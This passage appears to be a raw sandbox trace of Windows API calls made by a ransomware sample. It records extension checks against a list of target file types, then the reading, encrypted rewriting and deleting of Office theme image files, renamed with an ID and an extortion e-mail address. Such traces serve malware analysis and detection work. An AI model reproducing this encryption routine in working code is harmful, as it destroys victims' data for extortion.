[0049.044] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.044] lstrlenW (lpString=".xlsx") returned 5 [0049.044] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.044] lstrlenW (lpString=".ppt") returned 4 [0049.045] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.045] lstrlenW (lpString=".zip") returned 4 [0049.045] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.045] lstrlenW (lpString=".rar") returned 4 [0049.045] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.045] lstrlenW (lpString=".bz2") returned 4 [0049.045] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.045] lstrlenW (lpString=".7z") returned 3 [0049.045] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.045] lstrlenW (lpString=".dbf") returned 4 [0049.045] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.045] lstrlenW (lpString=".1cd") returned 4 [0049.045] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.045] lstrlenW (lpString=".jpg") returned 4 [0049.045] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.045] lstrlenW (lpString=".doc") returned 4 [0049.045] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.045] lstrlenW (lpString=".docx") returned 5 [0049.045] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.045] lstrlenW (lpString=".pdf") returned 4 [0049.045] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.045] lstrlenW (lpString=".xls") returned 4 [0049.046] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.046] lstrlenW (lpString=".xlsx") returned 5 [0049.046] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.046] lstrlenW (lpString=".ppt") returned 4 [0049.046] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.046] lstrlenW (lpString=".zip") returned 4 [0049.046] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.046] lstrlenW (lpString=".rar") returned 4 [0049.046] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.046] lstrlenW (lpString=".bz2") returned 4 [0049.046] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.046] lstrlenW (lpString=".7z") returned 3 [0049.046] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.046] lstrlenW (lpString=".dbf") returned 4 [0049.046] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.046] lstrlenW (lpString=".1cd") returned 4 [0049.046] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.046] lstrlenW (lpString=".jpg") returned 4 [0049.046] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.046] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0049.046] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.047] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1737) returned 1 [0049.047] CloseHandle (hObject=0x1a8) returned 1 [0049.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20 [0049.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.047] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.047] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0049.050] GetLastError () returned 0x0 [0049.050] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x6c9, lpOverlapped=0x0) returned 1 [0049.051] WriteFile (in: hFile=0x214, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0049.052] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.052] WriteFile (in: hFile=0x214, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.052] SetEndOfFile (hFile=0x214) returned 1 [0049.052] CloseHandle (hObject=0x214) returned 1 [0049.052] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.052] SetEndOfFile (hFile=0x1a8) returned 1 [0049.053] CloseHandle (hObject=0x1a8) returned 1 [0049.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.053] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 1 [0049.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.054] lstrlenW (lpString=".doc") returned 4 [0049.054] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.054] lstrlenW (lpString=".docx") returned 5 [0049.054] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.054] lstrlenW (lpString=".pdf") returned 4 [0049.054] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.054] lstrlenW (lpString=".xls") returned 4 [0049.054] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.054] lstrlenW (lpString=".xlsx") returned 5 [0049.054] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.054] lstrlenW (lpString=".ppt") returned 4 [0049.054] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.054] lstrlenW (lpString=".zip") returned 4 [0049.054] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.054] lstrlenW (lpString=".rar") returned 4 [0049.054] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.054] lstrlenW (lpString=".bz2") returned 4 [0049.054] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.054] lstrlenW (lpString=".7z") returned 3 [0049.054] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.054] lstrlenW (lpString=".dbf") returned 4 [0049.054] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.054] lstrlenW (lpString=".1cd") returned 4 [0049.054] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.054] lstrlenW (lpString=".jpg") returned 4 [0049.054] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.054] lstrlenW (lpString=".doc") returned 4 [0049.054] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.055] lstrlenW (lpString=".docx") returned 5 [0049.055] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.055] lstrlenW (lpString=".pdf") returned 4 [0049.055] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.055] lstrlenW (lpString=".xls") returned 4 [0049.055] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.055] lstrlenW (lpString=".xlsx") returned 5 [0049.055] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.055] lstrlenW (lpString=".ppt") returned 4 [0049.055] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.055] lstrlenW (lpString=".zip") returned 4 [0049.055] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.055] lstrlenW (lpString=".rar") returned 4 [0049.055] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.055] lstrlenW (lpString=".bz2") returned 4 [0049.055] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.055] lstrlenW (lpString=".7z") returned 3 [0049.055] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.055] lstrlenW (lpString=".dbf") returned 4 [0049.055] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.055] lstrlenW (lpString=".1cd") returned 4 [0049.055] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.055] lstrlenW (lpString=".jpg") returned 4 [0049.055] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.055] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0049.055] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.056] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=33479) returned 1 [0049.056] CloseHandle (hObject=0x1a8) returned 1 [0049.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0049.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.056] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.056] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0049.057] GetLastError () returned 0x0 [0049.057] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x82c7, lpOverlapped=0x0) returned 1 [0049.197] WriteFile (in: hFile=0x214, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x82d0, lpOverlapped=0x0) returned 1 [0049.198] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.198] WriteFile (in: hFile=0x214, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.198] SetEndOfFile (hFile=0x214) returned 1 [0049.198] CloseHandle (hObject=0x214) returned 1 [0049.199] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.199] SetEndOfFile (hFile=0x1a8) returned 1 [0049.200] CloseHandle (hObject=0x1a8) returned 1 [0049.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.200] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 1 [0049.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.200] lstrlenW (lpString=".doc") returned 4 [0049.200] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.200] lstrlenW (lpString=".docx") returned 5 [0049.200] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.200] lstrlenW (lpString=".pdf") returned 4 [0049.200] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.200] lstrlenW (lpString=".xls") returned 4 [0049.200] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.200] lstrlenW (lpString=".xlsx") returned 5 [0049.200] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.200] lstrlenW (lpString=".ppt") returned 4 [0049.200] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.201] lstrlenW (lpString=".zip") returned 4 [0049.201] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.201] lstrlenW (lpString=".rar") returned 4 [0049.201] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.201] lstrlenW (lpString=".bz2") returned 4 [0049.201] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.201] lstrlenW (lpString=".7z") returned 3 [0049.201] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.201] lstrlenW (lpString=".dbf") returned 4 [0049.201] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.201] lstrlenW (lpString=".1cd") returned 4 [0049.201] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.201] lstrlenW (lpString=".jpg") returned 4 [0049.201] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.201] lstrlenW (lpString=".doc") returned 4 [0049.201] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.201] lstrlenW (lpString=".docx") returned 5 [0049.201] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.202] lstrlenW (lpString=".pdf") returned 4 [0049.202] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.202] lstrlenW (lpString=".xls") returned 4 [0049.202] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.202] lstrlenW (lpString=".xlsx") returned 5 [0049.202] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.202] lstrlenW (lpString=".ppt") returned 4 [0049.202] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.202] lstrlenW (lpString=".zip") returned 4 [0049.202] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.202] lstrlenW (lpString=".rar") returned 4 [0049.202] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.202] lstrlenW (lpString=".bz2") returned 4 [0049.202] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.202] lstrlenW (lpString=".7z") returned 3 [0049.202] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.202] lstrlenW (lpString=".dbf") returned 4 [0049.202] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.202] lstrlenW (lpString=".1cd") returned 4 [0049.202] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.202] lstrlenW (lpString=".jpg") returned 4 [0049.202] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.202] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0049.202] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0049.253] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=18380) returned 1 [0049.253] CloseHandle (hObject=0x19c) returned 1 [0049.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0049.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0049.259] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.259] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.260] GetLastError () returned 0x0 [0049.262] ReadFile (in: hFile=0x19c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x47cc, lpOverlapped=0x0) returned 1 [0049.296] WriteFile (in: hFile=0x188, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x47d0, lpOverlapped=0x0) returned 1 [0049.297] ReadFile (in: hFile=0x19c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.297] WriteFile (in: hFile=0x188, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.297] SetEndOfFile (hFile=0x188) returned 1 [0049.297] CloseHandle (hObject=0x188) returned 1 [0049.297] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.297] SetEndOfFile (hFile=0x19c) returned 1 [0049.298] CloseHandle (hObject=0x19c) returned 1 [0049.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.298] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 1 [0049.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.299] lstrlenW (lpString=".doc") returned 4 [0049.299] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.299] lstrlenW (lpString=".docx") returned 5 [0049.299] 